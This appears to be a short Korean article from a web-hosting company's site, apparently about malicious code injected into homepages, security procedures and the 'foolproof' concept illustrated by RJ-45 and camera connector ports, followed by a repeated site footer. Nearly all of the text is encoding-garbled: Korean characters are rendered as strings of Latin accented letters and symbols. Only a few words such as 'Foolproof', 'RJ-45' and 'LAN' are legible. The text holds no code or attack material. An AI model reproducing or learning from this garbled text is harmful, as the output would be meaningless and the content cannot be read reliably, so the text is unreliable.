ÀÎÅÍ³Ý È¨ÆäÀÌÁö¸¦ ¿î¿µÇÑ´Ù¸é ´ëºÎºÐÀÇ Á¢¼ÓÀÚµéÀº ȨÆäÀÌÁö ¿î¿µÀÚÀÇ °í°´ÀÏ °ÍÀÌ´Ù. ÇÏÁö¸¸ °ø°ÝÀÚµé·Î ÀÎÇØ ¾Ç¼ºÄڵ尡 »ðÀԵǰí, ÀÌ·¯ÇÑ ¾Ç¼ºÄÚµå ¶§¹®¿¡ Á¢¼ÓÀÚµéÀÌ ÇÇÇظ¦ ÀԴ´ٸé, À¥ ¼­¹ö ħÇØ»ç°í·Î ÀÎÇÑ ¼Õ½Çº¸´Ù ´õ¿í ´õ ½É°¢ÇÑ ¹®Á¦·Î ¹ßÀüÇÏ°Ô µÈ´Ù. ¿¹¸¦ µé¾î ±â¾÷ÀÇ Á¦Ç°È«º¸ÆäÀÌÁö¿¡ Á¢¼ÓÇß´Ù°¡ ¾Ç¼ºÄڵ忡 ´Ù¼öÀÇ °í°´ PC°¡ °¨¿°µÈ´Ù¸é ±× ±â¾÷Àº Ä¡¸íÀûÀÌ°í ½É°¢ÇÑ ¹®Á¦¿¡ Á÷¸é ÇÒ °ÍÀÌ´Ù.
±×·¯¹Ç·Î ½ÃÇàÂø¿À¸¦ °Þ´õ¶óµµ º¸¾È¼öÁØ °­È­¸¦ À§ÇÑ ÀÏ·ÃÀÇ ¾÷¹«µéÀ» ÀýÂ÷·Î È®¸³ÇÏ°í ²ÙÁØÈ÷ °³¼±½ÃÄÑ ³ª°£´Ù¸é ¼º°øÀûÀÎ ¼­ºñ½º ¿î¿µ»Ó¸¸ ¾Æ´Ï¶ó ±× °æÇèÁ¶Â÷ Å« ÀÚ»êÀÌ µÉ °ÍÀÌ´Ù.
¸¶Áö¸·À¸·Î ÇÁ·Î±×·¥ °³¹ßÀ̳ª ¼­¹ö °ü¸®µµ »ç¶÷ÀÌ ÇÏ´Â ÀÏÀ̹ǷΠ½Ç¼ö´Â Àֱ⠸¶·ÃÀÌÁö¸¸, ±× ½Ç¼öÁ¶Â÷µµ ¹æÁö ÇÏ´Â µ¥ µµ¿òÀÌ µÉ ¼ö ÀÖµµ·Ï ¡°Foolproof¡± ¶ó´Â °³³äÀ» ¼Ò°³ÇÑ´Ù. ¡°Foolproof¡±´Â »ç¶÷ÀÌ ½Ç¼öÇÒ ¼ö ¾øµµ·Ï »çÀü¿¡ ¿¹¹æÀåÄ¡¸¦ ¸¶ ·ÃÇÏ´Â °³³äÀ̸ç, ÄÄÇ»ÅÍÀÇ ÆÄÀÏ »èÁ¦³ª Çϵåµð½ºÅ© Æ÷¸Ë ½Ã¿¡ »ç¿ëÀÚ¿¡°Ô °æ°í¸¦ ÇÏ´Â ÀýÂ÷¸¦ ¿¹·Î µé ¼ö ÀÖÀ¸¸ç, ÀÚµ¿Â÷ÀÇ °æ¿ì¿¡ ºê·¹ÀÌÅ©¸¦ ¹âÁö ¾ÊÀº »óÅ¿¡¼­´Â ½Ãµ¿ÀÌ °É¸®Áö ¾Êµµ·Ï ÇÏ´Â ÀåÄ¡ µîÀÌ ÇØ´çµÈ´Ù.
¾Æ·¡ÀÇ ±×¸²Àº LAN¿¡¼­ ÈçÈ÷ ¾²´Â RJ-45 Ä¿³ØÅÍ¿Í ºñµð¿ÀÄ«¸Þ¶ó µÞ¸éÀÇ °¢Á¾ ¿¬°á Æ÷Æ®µéÀÌ´Ù.



±×¸²À» »ìÆ캸¸é °¢Á¾ ÄÉÀ̺íÀÇ ¿¬°á Æ÷Æ®µéÀÌ »ç¶÷ÀÌ ½Ç¼ö ÇÏ´õ¶óµµ À߸ø ³¢¿ï ¼ö ¾øµµ·Ï ¸¸µé¾ú±â ¶§¹®¿¡ »ç¶÷ÀÇ ½Ç¼ö¸¦ ¹Ì¿¬¿¡ ¹æÁöÇÒ ¼ö ÀÖ´Ù.
¼ÒÇÁÆ®¿þ¾î °³¹ßÀ̳ª ¼­¹ö °ü¸®¿¡µµ ÀÌ·¯ÇÑ °³³äÀ» µµÀÔÇÏ¿© È¿°úÀûÀΠüũ¸® ½ºÆ®¸¦ °³¹ß ÇÏ°í Àû¿ëÇÏ´Â ³ë·Â°ú ÇÔ²² ¾ÈÀüÇÑ ¼­¹ö ¿î¿µ ÀýÂ÷¸¦ ¸¶·ÃÇÏ°í °³¼± ½ÃÄÑ ³ª°£´Ù¸é º¸¾È¼öÁØ Çâ»ó¿¡ Å« µµ¿òÀÌ µÉ °ÍÀÌ´Ù.






ȸ»ç¼Ò°³ °³ÀÎÁ¤º¸Ãë±Þ¹æħ ÀÌ¿ë¾à°ü À̸ÞÀÏÁÖ¼Ò ¹«´Ü¼öÁý°ÅºÎ CONTACT US IDC ¾àµµ
ȸ»ç¼Ò°³ °³ÀÎÁ¤º¸Ãë±Þ¹æħ ÀÌ¿ë¾à°ü À̸ÞÀÏÁÖ¼Ò ¹«´Ü¼öÁý°ÅºÎ CONTACT US IDC ¾àµµ ȸ»ç¼Ò°³ °³ÀÎÁ¤º¸Ãë±Þ¹æħ ÀÌ¿ë¾à°ü À̸ÞÀÏÁÖ¼Ò ¹«´Ü¼öÁý°ÅºÎ CONTACT US IDC ¾àµµ